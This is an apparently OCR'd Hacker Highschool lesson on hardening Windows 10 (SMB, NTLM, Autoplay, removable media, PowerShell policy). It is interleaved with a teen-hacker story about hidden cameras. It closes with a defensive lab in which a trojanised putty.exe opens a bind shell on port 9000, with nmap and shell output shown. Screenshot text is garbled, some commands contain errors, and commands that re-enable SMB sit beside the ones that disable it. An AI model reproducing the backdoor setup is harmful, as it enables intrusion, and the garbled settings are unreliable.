Shared Folders Stop Sharing ii) Shares iii Sessions iii Open Files All Tasks Help	> I Event Viewer	IPC\$		Windows	0	Remote IPC	Selected Items	
iiiiiiiiiiiiiiiiiiiiiiiiiiiii	 Shared Folders 			Sto	op Sharing		Selected liens	
Image: Sessions Image	Shares			All	Tasks		More Actions	,
Open Files Help	3 Sessions							
	2 Open Files			He	lp			
	> 🌆 Local Users and Group	8						
© Performance	A Local Users and Group OPErformance							

You can also do this by creating a "DWORD" value in the registry and using batch command. Back up the registry before making any changes to it. Trust us, we've made that mistake too many times.

Go to:

11

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lanman Server\ > Parameters. Create DWORD 32 and set the value to "1".

Fregistry Editor			- 0
File Edit View Favorites Help			
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lanma	anServer\Parameters		
> 📙 kbdhid 🔷	Name	Туре	Data
> 📙 kdnic	(Default)	REG_SZ	(value not set)
> 📙 Keylso	100 EnableAuthenticateUserSharing	REG_DWORD	0x00000000 (0)
📕 KSecDD	BableForcedLogoff	REG_DWORD	0x00000001 (1)
📙 KSecPkg	BenableSecuritySignature	REG_DWORD	0x00000000 (0)
> 📙 ksthunk	100 Guid	REG_BINARY	88 2d a8 bd e1 17 a9 4e 87 08 d0 13 27 c6 7b 9b
> 📙 KtmRm	ab NullSessionPipes	REG_MULTI_SZ	
✓ LanmanServer	100 RequireSecuritySignature	REG_DWORD	0x00000000 (0)
- Aliases	100 RestrictNullSessAccess	REG_DWORD	0x00000001 (1)
	ab ServiceDII	REG_EXPAND_SZ	%SystemRoot%\system32\srvsvc.dll
DefaultSecurity	8 ServiceDIIUnloadOnStop	REG_DWORD	0x00000001 (1)
Linkage	2000 AutoShareWks	REG_DWORD	0x00000000 (0)
✓ Parameters			

REG ADD:

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer \Parameters" /f /v AutoShareWks /t REG_DWORD /d o

Computer Management (Local Share Nam	Share Name Folder Path		# Client Connection
Scheduler Iask Scheduler Iask Scheduler Iask Scheduler			



6. Disable SMB Sharing

SMB v1 is globally, known to be vulnerable to Eternal Blue and must be disabled. As should any other versions of SMB is not needed or used.

To disable SMB v1 in the GUI: type 'appwiz.cpl' in "Run" Box and Press on "Turn Windows Feature on or off" and remove the check from SMB 1.0/CIFS Sharing Support

Windows completed the requested changes.	ľ		Installed On	Size	Version	
	-	Corporation	8/11/2019	1.42 MB	2.61.0.0	
Windows needs to reboot your PC to finish installing the requested changes.	h	🕻 🔝 Windows Features		_		
		Turn Windows for	eatures on o	or off	ature off, clear	
		its check box. A filled I on.	box means that o	only part of the fe	eature is turned	1
		RIP Listene	r		^	•
	5	0 ⊞ □] Services for	NFS			
		C 🗄 📄 Simple Netv	vork Managemei	nt Protocol (SNN	IP)	
		Simple TCF	PIP services (i.e.	echo, daytime e	etc)	
		h 😑 🔲 📜 SMB 1.0/Cli	FS File Sharing	Support		
	c	N	/CIFS Client			
	þ	c 🛛 📜 SMB 1.0	/CIFS Server			
	þ	c 🛛 📜 SMB Direct				
	2	D DI Telnet Clien	t			
	2	D TFTP Client	t			
	1	w 🛛 📜 Windows D	efender Applicat	ion Guard		
	2	o 🛛 📜 Windows H	ypervisor Platfor	m		
Restart now Don't restart		Windows Id	entity Foundation	n 3.5		,
		(

Disable SMB 1.0

To examine and Disable SMBv1 in Powershell

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol





1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

Enable-WindowsOptionalFeature -Online -Feature SMB1Protocol

To check and Disable SMB v2 in Powershell

Get-SmbServerConfiguration | Select EnableSMB2Protocol

Set-SmbServerConfiguration -EnableSMB2Protocol \$false

Set-SmbServerConfiguration -EnableSMB2Protocol \$true

PS C:\WINDOWS\system32> Get-SmbServerConfiguration | Select EnableSMB2Protocol



Game On: Summer of Grief – Part 6

"Meer, you okay in there."

The teen scrolled through the different connections, excluding all those that belonged to people walking around with their cell phone WiFi turned on. One connection seemed to be for the competition scoring system, because its SSID was surprisingly named "competition scoring". Jace almost laughed at the thought of, "so much for security through obscurity." The humor in this idea broke her anger and gave her a second to take a deep breath.

"Hello, Meer, is everything cool in there," the team captain yelled through the restroom entrance making sure he wasn't looking into the lady's room as he spoke.

Jace snapped back to reality and yelled back, "no I'm not fricken okay. Come in here. I want someone to witness this."

"Is this like a women's hygiene thing, cus if it is, I'm not ready to see it."

"Just get in here, now! Last stall. Get your camera ready."

"I.... I'm not comfortable with this."

"NOW!," Jace hollered loud enough that her voice rolled down the hallway toward the open civic center.

Covering his eyes, the beefy team captain used his arms to feel his way into the bathroom. He took little steps as if he were going to step on red hot coals at any second. "You can uncover your eyes. I'm dressed and there is nothing that is going to scar you, forever. It's just a restroom," Jace calmed herself as she brought her male companion into the sacred women's bathroom.

Peeking through his fingers, he tested his scenery to make sure this wasn't some sort of weird trick she was playing. He asked, "What is going on? You've been in here for a while and I thought I heard a scream a few seconds ago."

"Come in here, take a look at this," Jace yelled back.

His voice returned, "umm, I'm not supposed to be.."

"Just get in here, please," Jace cut him off.

With cautious steps he approached Jace just as she came out of the bathroom stall. He looked directly at the female teen and said, "I'm Amad, by the way."

1111 Hacker Highschool

SECURITY AWARENESS FOR

Jace cocked her head unsure of what to reply. "Yea, I see your name tag says that but it's pronounced.."

This time Amad cut Jace off," It's spelled like this but we pronounce the 'A' with a 'ack' sound. Think of 'awkward medication'. 'Ack-med."

"Cool," Jace replied.

"I'm from Afghanistan. My parents came here.." He was cut off again by the impatient teen.

"Great, but let's talk later, k," She said. Jace noticed his eyes were not the typical relaxed and unconcerned eyes of a teen. He appeared on edge, much like Jace was. She noticed his eyes were brown like her own but they had a green tint. She watched as he considered his surroundings, evaluated the entry and exit points, the doors, the windows, the floor drain. He seemed like a person who did not have an easy life. His hands stood by his side close to his body but far enough away to react if anything came near him. Jace pictured Amad as a street fighter due to his size and muscle build. She did not see any scars on his knuckles but noticed two deep scars on his dark forehead and neck. Jace felt more comfortable with people who showed some type of battle damage. Amad carried himself as if he were prepared for anything- shoes resting on the balls of his feet, eyes scanning the area, arms relaxed but ready, and hands in front of his body.

"This is what I need you to do, just go into that stall I was in, close the door and look at the hinges that the door is mounted on," Jace used her hands a bit too much explaining her actions.

"Is this a joke or something," Amad asked without a smile. Jace noticed his smile earlier but he wasn't smiling now. He was concerned and prepared.

"Just do it, please," she almost pleaded.

The teen walked behind Jace and moved into the bathroom stall. As he closed the stall door he asked, "Is that what I think it is."

"Yup, a wireless camera," Jace replied, happy that he was intelligent and not bad to look at.

"Oh, did you put that in here."

"Of course not, that is why I screamed. I noticed the lens of the camera while I was on the potty. Don't pull it out or touch it."

Lesson 14: Defending Windows 10

"Too late, I pulled it out,"

Jace banged on the door, "put it back."

"I was kidding. Relax a bit. We need call the police, though," Amad replied as he opened up the stall door to face Jace.

ULL Hacker Highschool

SECURITY AWARENESS FOR TEENS

"It may not be that simple for me since we don't know who put these cameras in here," Jace replied.

Amad bit the inside of his mouth and said, "I don't think there is anything 'simple' about you."

Understanding the compliment, Jace smiled.

Realizing his error, he quickly added, "I'm not who you think I am."

Jace shrugged her shoulder and said," We do have a lot in common because I'm not who you think I am either. Wait, that came out wrong. What I meant to say was.."

"It's okay. I knew you were different the second you showed up at our table. It's just my family wouldn't approve."

"Approve of what? We're just talking aren't we. It's not like you're asking me out or anything," Jace tried to play off her building crush on Amad. "Let's just change subjects."

Amad seemed relieved at being let off the hook, "How about you call the police, just stay here and I'll go find the USB guy myself. We'll meet back at the computer table."

Jace nodded her head with approval and reached for her cell phone. Officer Hank's phone number was already in her 'recent' phone listing. The phone rang twice before it was answered.

"What's up Jace? What do you need?"

"I need you to come here right now, like 'here' now. Somebody planted a camera in the women's bathroom at the civic center. I found it and need you to do your police-thing," Jace replied fully expecting Hank to stop what he was doing and come see this crime immediately.

"Sorry Jace, but I'm in the middle of an arrest right now. I can come in a few minutes, maybe an hour," Hank answered with muffled sounds in the background. "Call the local police for that city. They can respond much quicker."
"Okay, I'll call the police here, but I still would like you to come and see this for yourself. Thanks for asking, but I AM NOT ENJOYING THIS," Jace said making sure her anger was broadcast through the cellular phone system.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

"Got it, no need to get loud. I'll be there soon. Just hold tight," Hank replied as he ended the call.

The teen hacker let out a deep breath as if she hadn't let out any air in minutes. She typed in the local emergency phone number, explained to the dispatch lady (who sounded as if she was just woken up), what was happening, who she was, and where she was over the phone. She was assured the police would be there momentarily and told to just wait. "Don't do anything, just wait for the police to arrive."

"Waiting in the bathroom, oh what fun," the teen hacker thought to herself as she tried to figure out her next course of action (or rather how to entertain herself until the police arrived). She explored each bathroom stall to confirm how many had hidden cameras. Each stall had one camera; all mounted in the lower door hinge.

An older women's voice came through the bathroom door, "Is anyone in here?"

Jace thought, "What an odd thing to ask."

"Yup, I'm in here. Come on in but I have to warn you.." Jace was cut off

The door sprung open with two older women, two men in suits, and two police officers entering in one after another. The first women in the pink and yellow flower dress asked, "Are you with Team Cougar?"

"Yes, and I'm sure happy to see you came so quickly after my call," Jace acknowledged.

"Are you Jace and did you use a USB drive on a competition computer," came the next question from the man in the awful gray striped suit.

Jace replied, "Yeah, I'm Jace and I needed that USB stick to reboot the computer that had been attacked."

All six adults closed in on the teen, encircling her as the tile echoed their accusatory voices. With raised eyebrows Jace asked, "What are you talking about? Somebody put hidden cameras in the bathroom..."

Cut off again, three of the adults chimed in, "Competition rules do not allow use of unauthorized operating systems. Your whole team is disqualified for hacking. Hacking is illegal so we brought the police here to arrest you."

The teen protested, "but somebody attacked our machine and hacking isn't illegal either. Besides that, someone put hidden cameras..."

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

They refused to let Jace finish talking or listen to her.

One of the women smiled as she said, "you will be escorted off this premises and we will file charges against you and your whole Cougar Team for hacking."

Not waiting for things to escalate higher, Jace opened her phone to contact Officer Hank.

The voice on the other end of the phone said, "I told you I'm busy. I'll be there in a few minutes."

Jace whispered with cupped hands over the microphone, "I need you here NOW. They are going to arrest me for some made up stuff."

Hank signed, "What did you do this time, Jace."

"I didn't do anything wrong, just get here now or talk to one of the police officers standing in front of me. They need to know about the hidden cameras in the bathroom," Jace said.

Jace did as Hank asked and handed her phone to the senior of the two police officers; the guy with the most stripes on his shoulder sleeve.

The police officer took her phone with surprise and then turned his back to the angry group of adults to speak with Hank with a bit of privacy.

The adults seemed pleased with themselves for attacking Jace with charges of hacking. Not waiting for their turn, they overlapped in their accusations against Jace. The irony in all of this exploded inside of the teens mind. Jace started laughing and laughing hard. Her laughter did not help the situation as they grabbed her by her right arm and pulled her out of the bathroom, down the hall, and out to the front entrance. Jace laughed the entire time.

The pink and yellow dressed woman told Jace, "now the police can put cuffs on you and put your 'hacker' self in jail where hackers belong."

Game continues...

7. Network Security

Using insecure network authentication methods may permit an adversary to gain unauthorized access to network traffic and services. To prevent the risk Disable NTLM v1, Enable Encryption for Kerberos and set up Minimum Session Security for both NTLM SSP based clients and servers (including secure RPC), Disable storing LMHash, Disable NetBios over TCP/IP (Which is not working for IPv6) and Disable File and Printer Sharing.

HH Hacker Highschool SECURITY AWARENESS FOR TEENS

To Disable NTLM v1 In Group Policy:

Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options

Network security: LAN Manager authentication level	Send NTLMv2 response only.
	Refuse LM & NTLM





To Enable Encryption for Kerberos and make Minimum Session Security for both NTLM SSP based clients and servers (including secure RPC), configure the following setting in group policy.

HH Hacker Highschool security awareness FOR TEENS

Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options

Network security: Configure encryption types allowed for Kerberos	AES128_HMAC_SHA1 AES256_HMAC_SHA1
Network security: Minimum session security for NTLM SSP based (including secure RPC) clients	Require NTLMv2 session
	security
	Require 128-bit encryption
Network security: Minimum session security for NTLM SSP based (including secure RPC) servers	Require NTLMv2 session
	security
	Require 128-bit encryption

To Disable storing LMHash:

Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options

Network security: Do not store LAN Manager hash value	Enabled
on next password change	

HH Hacker Highschool SECURITY AWARENESS FOR TEENS



To Disable NetBios Over TCP/IP: Go to NIC Properties > Internet Protocol Version 4 (TCP/IPv4) > Advanced > WINS > Choose "Disable NetBIOS over TCP/IP

Letting users share files from their workstations can result in a lack of appropriate access controls being applied to sensitive information.

Note: Preventing users from sharing their files and printers will not affect their ability to access shared drives and printers on a network.

To Disable File and Printer Sharing in Group Policy

Computer Configuration\Policies\Administrative Templates\Windows Components\HomeGroup

Prevent the computer from joining a homegroup	Enabled

User Configurations\Policies\Administrative Templates\Windows Components\Network Sharing



8. Disable WSL

According to Wikipedia, **Windows Subsystem for Linux (WSL)** is a compatibility layer for running Linux binary executables (in ELF format) natively on Windows 10 and Windows Server 2019. Yet enabling WSL without needing it or without a proper configuration may leak sensitive information or be used by an adversary to compromise a machine.

To remove the WSL feature: type "appwiz.cpl" in the **Run box > 'Turn Windows features on or off' and remove check of 'Windows Subsystem for Linux'** feature.

Turn Windows features on or To turn a feature on, select its check box its check box. A filled box means that only on.	off x. To turn a feature off, clear aly part of the feature is turned	
🗄 🔲 📕 SMB 1.0/CIFS File Sharing Su	upport ^	
SMB Direct		
🔲 📙 Telnet Client		
TFTP Client		
Windows Defender Application	n Guard	
Windows Hypervisor Platform	1	
Windows Identity Foundation 3	3.5	
⊞ ∭ Windows Process Activation S	Service	
Windows Projected File System	em (Beta)	
Image: Windows Subsystem for Linux	x	
Windows TIFF IFilter	Provides services and environments for running native user-mode Linux	shells and
Work Folders Client	Windows.	

Lesson 14: Defending Windows 10

9. Turn off "Autoplay"

We prevent any program from Autoplay to stop autorun malicious software.

HH Hacker Highschool security awareness for teens

To turn off Autoplay: In group policy

Computer Configuration\Policies\Administrative Templates\Windows Components\AutoPlay Policies

Disallow Autoplay for non-volume devices	Enabled
Set the default behavior for AutoRun	Enabled Default AutoRun Behavior: Do not execute any autorun commands
Turn off Autoplay	Enabled
	Turn off Autoplay on: All drives
Prevent AutoPlay from remembering user choices	Enabled

Setting	State	Comment
📴 Turn off Autoplay	Enabled	No
Prevent AutoPlay from remembering user choices.	Enabled	No
E Disallow Autoplay for non-volume devices	Enabled	No
E Set the default behavior for AutoRun	Enabled	No



1111 Hacker Highschool

10. Turn off CD Burner access

Prevented users from burning data.

To disable CD Burning features:

User Configuration\Policies\Administrative Templates\Windows Components\File Explorer

Remove CD Burning features	Enabled

11. Prohibit executing from removable drives

We prohibited any program executing from all endpoint drives to prevent some malicious attacks, using bad USB, for instance. If a business doesn't need any external or attached endpoint devices then the devices should be completely disabled.

To prohibit executable files from launching on all endpoint devices:

Computer Configuration\Policies\Administrative Templates\System\Removable Storage Access

CD and DVD: Deny execute access	Enabled
Floppy Drives: Deny execute access	Enabled
Removable Disks: Deny execute access	Enabled
Tape Drives: Deny execute access	Enabled

HH Hacker Highschool security awareness FOR TEENS

Lesson 14: Defending Windows 10

Setting	State	Comment	
E Set time (in seconds) to force reboot	Not configured	No	
E CD and DVD: Deny execute access	Enabled	No	
E CD and DVD: Deny read access	Not configured	No	
E CD and DVD: Deny write access	Not configured	No	
E Custom Classes: Deny read access	Not configured	No	
E Custom Classes: Deny write access	Not configured	No	
Floppy Drives: Deny execute access	Enabled	No	
Floppy Drives: Deny read access	Not configured	No	
Floppy Drives: Deny write access	Not configured	No	
🖀 Removable Disks: Deny execute access	Enabled	No	
Removable Disks: Deny read access	Not configured	No	
E Removable Disks: Deny write access	Not configured	No	
All Removable Storage classes: Deny all access	Not configured	No	
E All Removable Storage: Allow direct access in remote sessions	Not configured	No	
Tape Drives: Deny execute access	Enabled	No	
Tape Drives: Deny read access	Not configured	No	
Tape Drives: Deny write access	Not configured	No	
E WPD Devices: Deny read access	Not configured	No	
E WPD Devices: Deny write access	Not configured	No	

12. Disable Legacy and run once lists in purpose to protect creating Task Schedule

A malicious program might use this to make a Task Schedule. We prevented the use of "Legacy" and "run once".

To Disable these: In Group Policy

Computer Configuration\Policies\Administrative Templates\System\Logon

Do not process the legacy run list	Enabled
Do not process the run once list	Enabled
Run these programs at user logon	Disabled

13. Disable SafeMode for Non Admin

If an adversary can boot into Microsoft Windows using Safe Mode, Safe Mode with Networking or Safe Mode with Command Prompt options with a standard user credentials they may be able to bypass system protection. Prevent users from booting into the systems using Safe Mode.

1111 Hacker Highschool

SECURITY AWARENESS FOR TEENS

To prevent Windows "Safe Mode" booting use **Registry editing** create a registry value "**SafeModeBlockNonAdmins**" and set the value to "**1**" under the following path:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Policies\System

SafeModeBlockNonAdmins	REG_DWORD 0x00000001
	(1)

ab legalnoticetext	REG_SZ	
2010 PromptOnSecureDesktop	REG_DWORD	0x0000001 (1)
scforceoption	REG_DWORD	0x0000000 (0)
n shutdownwithoutlogon	REG_DWORD	0x0000001 (1)
SupportFullTrustStartupTasks	REG_DWORD	0x0000001 (1)
100 SupportUwpStartupTasks	REG_DWORD	0x0000001 (1)
ndockwithoutlogon 😳	REG_DWORD	0x0000001 (1)
100 ValidateAdminCodeSignatures	REG_DWORD	0x0000000 (0)
100 SafeModeBlockNonAdmins	REG_DWORD	0x0000001 (1)

14. Disable Web search in Search and Disable Cortana

Microsoft Windows 10 has a built-in search function which allows users to search the web automatically and it may accidentally disclosure sensitive information or sensitive terms. We disable the web search function.

To disable it: in Group policy

Computer Configuration\Policies\Administrative Templates\Windows Components\Search

HH Hacker Highschool security awareness FOR TEENS

Allow Cortana	Disabled	
Don't search the web or display web results in	Enabled	
E Allow Cortana	Disabled	No
E Allow Cortana above lock screen	Not configured	No
E Allow Cortana Page in OOBE on an AAD account	Not configured	No
Allow indexing of encrypted files	No	
E Allow search and Cortana to use location	Not configured	No
Allow use of diacritics	Not configured	No
E Always use automatic language detection when indexing content and properties	Not configured	No
Prevent automatically adding shared folders to the Windows Search index	Not configured	No
E Indexer data location	Not configured	No
E Default excluded paths	Not configured	No
E Default indexed paths	Not configured	No
E Disable indexer backoff	Not configured	No
E Do not allow locations on removable drives to be added to libraries	Not configured	No
E Do not allow web search	Not configured	No
Don't search the web or display web results in Search	Enabled	No

15. Disable command prompt, Remote Shell Access, Registry Access, Allow only signed Powershell Executing and Protect Group Policy Settings

The command prompt, Powershell, remote shell, registry and group policy settings let an adversary run remote execution, change security settings and so on. We lock down all access and only allow for signed Powershell executing in order to reduce risk.

Disabling Command Prompt:

User Configuration\Policies\Administrative Templates\System

Prevent access to the command prompt	Enabled		
	Disable prompt	the	command





script processing also: Yes

Prevent access to the command pr Prevent access to the command pr	ompt rompt	Previous Setting	Next Setting		×
 Not Configured Comment: Enabled Disabled 					~ ~
Supported on: Options:	At least Windows	2000 Help:			< >
Disable the command prompt script p also? Yes	rocessing	This policy setting prevents users command prompt, Cmd.exe. This whether batch files (.cmd and .bat) If you enable this policy setting and command window, the system dis	from running the inte policy setting also d can run on the comp I the user tries to ope plays a message exp	ractive etermines outer. en a olaining tha	;

Disabling Remote Shell Access:

Computer Configuration\Policies\Administrative Templates\Windows Components\Windows Remote Shell

Allow Remote Shell Access		Disabled
oeung	ગયાય	comment
Allow Remote Shell Access	Disabled	No
Specify idle Timeout	Not configured	No

Disable Registry Access:

User Configuration\Policies\Administrative Templates\System

Prevent access to registry editing tools	Enabled
	Disable regedit from running
	silently: Yes

HH Hacker Highschool security awareness for teens

Prevent access to registry editing	g tools			
Prevent access to registry edit	ng tools	Previous Setting Next	t Setting	
O Not Configured Comment:				
Enabled				
○ Disabled				
Supported	n: At least Windows 2000			
Options:	Help:			
Disable regedit from running silen	ly? Disables the	e Windows registry editor Reg	jedit.exe.	
Yes ~	If you enable	e this policy setting and the us	er tries to sta	art
	Regedit.exe	e, a message appears explaini	ing that a poli	icy set

Sec. 1

Allow only signed Powershell Execution:

Lesson 14: Defending Windows 10

Computer Configuration\Policies\Administrative Templates\Windows Components\Windows PowerShell

Turn on PowerShell Script Block Logging	Enabled
Turn on Script Execution	Enabled
	Execution Policy: Allow only signed scripts

HH Hacker Highschool security AWARENESS FOR TEENS

Lesson 14: Defending Windows 10

Setting	Turn on PowerSh	ell Script Block Lo	gging	—
Turn on Module Logging	Turn on PowerSi	hell Script Block I	ogging	Previous Setting Next Setting
E Turn on Script Execution	O Not Configured	Comment:		
Turn on PowerShell Transcription	Enabled			
E Set the default source path for Update-He	O Disabled			
		Supported on:	At least Microsoft	Windows 7 or Windows Server 2008 family
o	Options:			Help:
	_ Log script block in	ivocation start / s	op events:	In the Microsoft-Windows-PowerShell/Operational event la input to the Microsoft-Windows-PowerShell/Operational event la If you enable this policy setting, Windows PowerShell Will log the processing of commands script blocks, functions, and scripts - whether invoked interactive or through automation. If you disable this policy setting, logging of PowerShell scri input is disabled. If you enable the Script Block Invocation Logging, PowerSh additionally logs events when invocation of a command, script block, function, or script starts or stops. Enabling Invocation Logging generates a hig volume of event logs. Note: This policy setting exists under both Computer Configuration and Liser Configuration in the Group Policy Editor.

20

la

Setting				
	I urn on Script Ex	ecution		— 🗆 X
Turn on PowerShall Script Block Logging	Turn on Script E	xecution		Previous Setting Next Setting
Turn on Script Execution				to the county the county
Turn on PowerShell Transcription	O Not Configured	Comment:		^
E Set the default source path for Update-He	Enabled			
1	◯ Disabled			~
		Supported on:	At least Microso	oft Windows 7 or Windows Server 2008 family
	Options:			Help:
	-			
	Execution Policy			This policy setting lets you configure the script execution policy, controlling which scripts are allowed to run.
	Allow only signed sc	ripts	~	
				down list are allowed to run.
				The "Allow only signed scripts" policy setting allows scripts to
				execute only if they are signed by a trusted publisher.
				The "Allow local scripts and remote signed scripts" policy setting
				allows any local scrips to run; scripts that originate from the Internet must be signed by a trusted publisher.
				The "Allow all corints" policy setting allows all seriets to run
				The Allow all scripts policy setting allows all scripts to run.
				If you disable this policy setting, no scripts are allowed to run.
				Note: This policy setting exists under both "Computer
				Editor. The "Computer Configuration" has precedence over "User
				Configuration."
<u> </u>				UK Cancel Apply

Protect Group Policy Settings:

Computer Configuration\Policies\Administrative Templates\Network\Network Provider

Hardened UNC Paths	Enabled
	Hardened UNC Paths:
	*\SYSVOL
	RequireMutualAuthentication=
	1, RequireIntegrity=1
	*\NETLOGON
	RequireMutualAuthentication=
	1, RequireIntegrity=1
Ge Hardened UNC Paths Previous Setting Next Setting	
O Not Configured Comment test	

HH Hacker Highschool security awareness for teens

Not Configured Enabled	Comment	test		^	
O Disabled	Supported on:	At least Windows Vista		▼	
Options:			Help	5:	
Specify hardened ne In the name field, typ resource. To secure all access the server name, spe "*\NETLOGON". To secure all access portion of the UNC p	etwork paths. e a fully-qualified to a share with a ccify a server nam to all shares hos path may be omit	UNC path for each network particular name, regardless of ne of [™] (asterisk). For example, ted on a server, the share name ted. For example, "\\SERVER".	 This to U If yo accession fulfil Show C 	policy setting configures secure access NC paths. u enable this policy, Windows only allows ses to the specified UNC paths after ling additional security requirements.	
In the value field, spe separated by comma 'RequireMutualAut	ecify one or more as: thentication=1': M	of the following options, lutual authentication between	Harden	ed UNC Paths:	
the client and server	is required to ena	sure the client connects to the		Value name	Value
'RequireIntegrity=	1': Communicatio	n between the client and server	•	II''ISYSVOL	RequireMutualAuthentication=1, RequireIntegrity=1
must employ an inte RequirePrivacy=1	grity mechanism ': Communicatior	to prevent data tampering. In between the client and the		\\"NETLOGON	RequireMutualAuthentication=1, RequireIntegrity=1



Game On: Summer of Grief – Part 7

Jace had to ask, just because she is Jace, "want to tell me what the charges are? What exactly are the police going to arrest me for?" She continued to laugh at the absurdity of the events.

11 Hacker Highschool

SECURITY AWARENESS FOR

The four competition officials stopped walking away and almost in unison replied, "Hacking. You are going to jail for hacking."

Jace burst out in more laughter, "hacking isn't illegal. There is no law against hacking. Do any of you know the law?"

As sarcastically as they possibly could, two of the officials responded with, "Yes, hacking IS ILLEGAL. We forbid hacking at any of our events and it is in fact illegal."

The teen cleared her face of the humor and straightened herself up as best she could. She turned to the police officer not on the phone and asked, "Sir, is hacking illegal."

The younger policeman fiddled with his police cap, looked at the officials with dread, looked back at his boss on the phone, looked down at his polished black shoes and said, "No, there is no law against hacking. She is right. Unless she did something else wrong, we can't do anything besides escort her out of the event."

This wasn't what the adult officials expected to hear. Each of the four roared with more accusations, more disapproval of hacking, more vulgar distaste for anything related to hacking and Jace herself.

Jace smiled, wanting to laugh even more, she just smiled and looked for her phone. The senior police officer approached the younger officer and whispered something into his ear.

Both nodded.

The competition officials were asking the police to arrest Jace and haul her off to jail. The older police officer closed the phone and handed it back to the teen. He gave a quick glance at Jace then turned to face the accusing adults.

"Jace is free to go once we get her statement. You four are not free to go. We have Cyber Crimes unit and Special Victims unit coming right now. Please remain where you are. Nobody is allowed to enter or leave this facility at this time. Except for this teen once we get her statement."

Jace felt as if she had been kicked in the gut. The reality of the situation dawned on her. She asked the officer, "is this about the cameras."

"Yes, the cameras. We need to interview you, secure this facility, and collect the evidence you found," he pronounced loud enough that anyone within 10 meters could hear him.

ULL Hacker Highschool

SECURITY AWARENESS FOR

Three more police cars pulled up onto the sidewalk next to them. As Jace slipped a bit to the side to avoid the fast approaching police vehicles and saw several unmarked cars with blue flashing lights approach the front entrance.

Amad was coming out of the front door as well as the rest of her team being escorted by competition officials. Jace waved over to catch their eye. She told the police officer, "Amad was with me. He saw the cameras too," as she pointed to her perplexed teammates.

The teen considered carefully that she could only trust Amad because she didn't know about any of the other teammates or who could have installed the hidden cameras.

The senior police officer motioned to the escorted team to let Amad come join Jace for the interview. Police officers poured into the civic center, each one with a specific task to perform. With four competition officials perplexed and confused, they demanded an answer.

A police captain with three people in suits and with badges approached the four complaining adults and signaled for them to follow the police back inside the civic center.

A sickness overcame Jace, she felt like vomiting. "This isn't good," she told herself. A well-dressed women came over to greet Jace, her police badge dangled outside of her suit jacket.

"Hi Jace, I'm Marla with the police. Let's go and talk a bit. Are you hurt? Are you ok? How do you feel? Did anyone touch you? Please, tell me what happened. Do you mind if I take notes?"

The questions ran together into almost one long sentence as Jace found herself in shock. The same feelings she had when she discovered the camera fell upon her again; anger, rage, violated, conned, betrayed.

Amad approached Jace from the other side of Marla. Instinctively Jace balled up her fist and punched Amad in the belly. The police officer stepped in between the two with her arm separating Jace from the male teen. He winced slightly because Jace did not put all of her effort into the punch. He knew it was her way of releasing those emotions.

Jace pulled back and said, "I'm so pissed off right now. I had to hit or break something. Sorry it had to be you."

Amad replied, "oh, that didn't hurt because you hit like a girl."

The teen snorted out a laugh. It was one of her most embarrassing traits. Amad approached Jace and gave her a shoulder hug with one arm. Jace thought she felt something in her back pocket, maybe his hand so she pulled away.

ULL Hacker Highschool

SECURITY AWARENESS FOR TEENS

She said, "I'm not much of a hugger."

Marla straighten out her jacket and found a quiet area for her to talk with Jace and Amad.

The interview lasted two hours and included her walking the police detective through each step she remembered taking to find the cameras.

Officer Hank finally arrived near the end as the Cyber Crime unit was coming toward the bathroom. Jace really wanted to see what tools they had in their black nylon bags and the laptop they carried. Hank told her that he'd arrange a 'show and tell" with them at some other time. He said, "let's get you home."

Without having a chance to say anything else to Amad or her teammates, she found herself in the front seat of Hank's police car heading home.

The sun was directly in their eyes the whole way back to her apartment. Every so often Hank would look over at Jace, wanting to say something to make her feel better but he didn't know what to say to a teenager, an angry teenager.

Once they arrived at her apartment complex, Jace thanked Hank for the ride, not sarcastically, just a polite, "thank you," with her head held low.

She found her way up to the 3rd floor apartment, entered, headed straight for her room, saw the comfort of her bed and decompressed on her pillow.

The teen woke up just as the summer sun was setting. As she sat up, she felt a pinch in her back pocket. It was a USB stick wrapped in a piece of paper.

The paper said, "Found the attacker, this is his USB stick, Amad".

Game continues...



Step Three - Malware Hunting

During the hardening process we should get more details of the running services. Windows sysinternals tools can assist with this. In this case: Process Explorer, TCP View, Autoruns.

Brief scenario: The windows 10 Machine is infected with malware which is bound to the communication program called "putty.exe" which is run at the startup. There's also a scheduled task which runs the application. Once the application is run by the scheduled task and/or at the startup it allows the attacker to connect its bind command shell via the port 9000 and the attacker will get the command prompt access of the windows 10 machine.

Screenshots:

9000.



Starting Nmap 7.70 (https://nmap.org) at 2019-09-22 00:37 +0630 Nmap scan report for 10.1.1.4 Host is up (0.0015s latency).

PORT STATE SERVICE 9000/tcp open cslistener MAC Address: 00:0C:29:4A:B9:D5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds Once the putty.exe is run, it opens port 9000 with bound shell. The attacker gets the command shell access of the windows 10 machine via the port



So, let's check the processes using "**Process Explorer**", which is similar to windows' "Task Manager". Almost no process can be hidden from "Process Explorer". It can detect threads, loaded dlls, network connections and autostart locations.

144 Hacker Highschool

SECURITY AWARENESS FOR TEENS

C:\Windows\system32>whoami whoami msedgewin10\systemd C:\Windows\system32>ipconfig ipconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : local Link-local IPv6 Address : fe80::dd7e:905e:9aa3:8f0c%8 IPv4 Address : 10.1.1.4 Subnet Mask : 255.255.255.248 Default Gateway : 10.1.1.1

On the windows side:

procexp.exe

SysinternalTools > Process Utilities > Process Explorer

Right-click on procexp.exe and choose "Run as Administrator"



You can download the Microsoft Sysinternals Tools here : https://docs.microsoft.com/en-us/sysinternals/

<mark> </mark> 🔄 📙 =		Manage	ProcessExplore	r		- 0	×
File Home Share	View App	lication Tools					~ 7
\leftarrow \rightarrow \checkmark \uparrow \square \rightarrow Sys	internalTools > Pr	rocessUtilities >	ProcessExplorer	~	ර Search ProcessE	xplorer	Q
